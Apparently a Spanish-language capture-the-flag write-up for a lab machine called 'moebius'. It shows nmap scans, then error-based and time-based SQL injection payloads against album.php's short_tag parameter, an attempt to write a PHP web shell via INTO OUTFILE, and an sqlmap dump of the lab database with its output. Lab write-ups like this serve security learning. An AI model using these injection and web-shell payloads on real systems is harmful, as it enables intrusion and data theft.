moebius
# Nmap 7.95 scan initiated Mon May 26 12:15:17 2025 as: /usr/lib/nmap/nmap --privileged -p- -n -Pn -sS --min-rate 5000 -oG ports 10.10.41.175
Host: 10.10.41.175 () Status: Up
Host: 10.10.41.175 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Mon May 26 12:15:32 2025 -- 1 IP address (1 host up) scanned in 15.05 seconds
# Nmap 7.95 scan initiated Mon May 26 12:19:18 2025 as: /usr/lib/nmap/nmap --privileged -sVC -p22,80 -oG services 10.10.41.175
Host: 10.10.41.175 () Status: Up
Host: 10.10.41.175 () Ports: 22/open/tcp//ssh//OpenSSH 8.9p1 (protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.62 ((Debian))/
# Nmap done at Mon May 26 12:19:31 2025 -- 1 IP address (1 host up) scanned in 12.56 seconds
deteccion de qr
solamete es un video de troleo
Encontramos uan url a modificar http://moebius.thm/album.php?short_tag=smart
al modificarlo nos encomtramos con lo siguiente
cuando probamos esta combinacion logramos eliminar el error y que es vulnerable al sql inyeccion
http://moebius.thm/album.php?short_tag=fav'%23
Despues definimos el tema de cuantas columna tiene esta base de datos y al aparece solamente es uno
http://moebius.thm/album.php?short_tag=fav' ORDER BY 2%23
Luegos nos toca extrear informacion pero al probar esto fracasamos http://moebius.thm/album.php?short_tag=fav'%20UNION%20SELECT%20version()%23 Para que funcione tenemos que aplicar de esta manera http://moebius.thm/album.php?short_tag=fav'%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20version()))))%23
http://moebius.thm/album.php?short_tag=fav%27%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20database()))))%23
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':web' http://moebius.thm/album.php?short_tag=fav'%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20LIMIT%200,1))))%23
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':albums' http://moebius.thm/album.php?short_tag=fav'%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema='web'%20LIMIT%201,1))))%23
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':images' http://moebius.thm/album.php?short_tag=fav%27%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name=%27images%27%20AND%20table_schema=%27web%27%20LIMIT%200,1))))%23
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':id'
1,1
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':album_id'
2,1
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':path'
http://moebius.thm/album.php?short_tag=fav%27%20AND%20(SELECT%20EXTRACTVALUE(1,CONCAT(0x3a,(SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name=%27albums%27%20AND%20table_schema=%27web%27%20LIMIT%200,1))))%23
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':id'
1,1
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':short_tag'
2,1
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':name' \
3,1
Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':description' http://moebius.thm/album.php?short_tag=fav%27%20AND%20IF(SUBSTRING((SELECT%20user()),1,4)=%27root%27,SLEEP(5),0)%23
Warning: Trying to access array offset on false in /var/www/html/album.php on line 32
Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1
http://moebius.thm/album.php?short_tag=fav'%20UNION%20SELECT%20'<?php%20system($_GET[\"cmd\"]);%20?>'%20INTO%20OUTFILE%20'/var/www/html/shell.php'%23
Hacking attempt
http://moebius.thm/album.php?short_tag=fav%27%20UNION%20SELECT%20%27%3C?php%20system($_GET[\%22cmd\%22]);%20?%3E%27%20INTO%20OUTFILE%20%27/var/www/html/shell.php%27%23
Hacking attemptsqlmap -u "http://moebius.thm/album.php?short_tag=fav" -p short_tag -D web --dump-all --batch
+----------------+-----------+--------------------------+
| name | short_tag | description |
+----------------+-----------+--------------------------+
| Cute cats | cute | Cutest cats in the world |
| Favourite cats | fav | My favourite ones |
| Smart cats | smart | So smart... |
+----------------+-----------+--------------------------+
[18:37:03] [INFO] table 'web.albums' dumped to CSV file '/home/kali/.local/share/sqlmap/output/moebius.thm/dump/web/albums.csv'
[18:37:03] [INFO] fetching columns for table 'images' in database 'web'
[18:37:03] [INFO] resumed: 'path','text'
[18:37:03] [INFO] fetching entries for table 'images' in database 'web'
[18:37:04] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:05] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:05] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:05] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:06] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:06] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:06] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:07] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:07] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:07] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:08] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:08] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:08] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:09] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:09] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:09] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:10] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ' in 'WHERE'
[18:37:10] [INFO] retrieved: '/var/www/images/cat1.jpg'
[18:37:10] [INFO] retrieved: '/var/www/images/cat10.webp'
[18:37:10] [INFO] retrieved: '/var/www/images/cat11.webp'
[18:37:11] [INFO] retrieved: '/var/www/images/cat12.webp'
[18:37:11] [INFO] retrieved: '/var/www/images/cat13.jpg'
[18:37:11] [INFO] retrieved: '/var/www/images/cat14.webp'
[18:37:12] [INFO] retrieved: '/var/www/images/cat15.webp'
[18:37:12] [INFO] retrieved: '/var/www/images/cat16.webp'
[18:37:12] [INFO] retrieved: '/var/www/images/cat2.jpg'
[18:37:12] [INFO] retrieved: '/var/www/images/cat3.jpg'
[18:37:13] [INFO] retrieved: '/var/www/images/cat4.jpg'
[18:37:13] [INFO] retrieved: '/var/www/images/cat5.avif'
[18:37:13] [INFO] retrieved: '/var/www/images/cat6.avif'
[18:37:14] [INFO] retrieved: '/var/www/images/cat7.png'
[18:37:14] [INFO] retrieved: '/var/www/images/cat8.webp'
[18:37:14] [INFO] retrieved: '/var/www/images/cat9.webp'
Database: web
Table: images
[16 entries]
[16 entries]
+----+----------------------------+----------+
| id | path | album_id |
+----+----------------------------+----------+
| 1 | /var/www/images/cat1.jpg | 1 |
| 2 | /var/www/images/cat2.jpg | 1 |
| 3 | /var/www/images/cat3.jpg | 1 |
| 4 | /var/www/images/cat4.jpg | 1 |
| 5 | /var/www/images/cat5.avif | 1 |
| 6 | /var/www/images/cat6.avif | 2 |
| 7 | /var/www/images/cat7.png | 2 |
| 8 | /var/www/images/cat8.webp | 2 |
| 9 | /var/www/images/cat9.webp | 2 |
| 10 | /var/www/images/cat10.webp | 2 |
| 11 | /var/www/images/cat11.webp | 2 |
| 12 | /var/www/images/cat12.webp | 2 |
| 13 | /var/www/images/cat13.jpg | 3 |
| 14 | /var/www/images/cat14.webp | 3 |
| 15 | /var/www/images/cat15.webp | 3 |
| 16 | /var/www/images/cat16.webp | 3 |
+----+----------------------------+----------+
Última actualización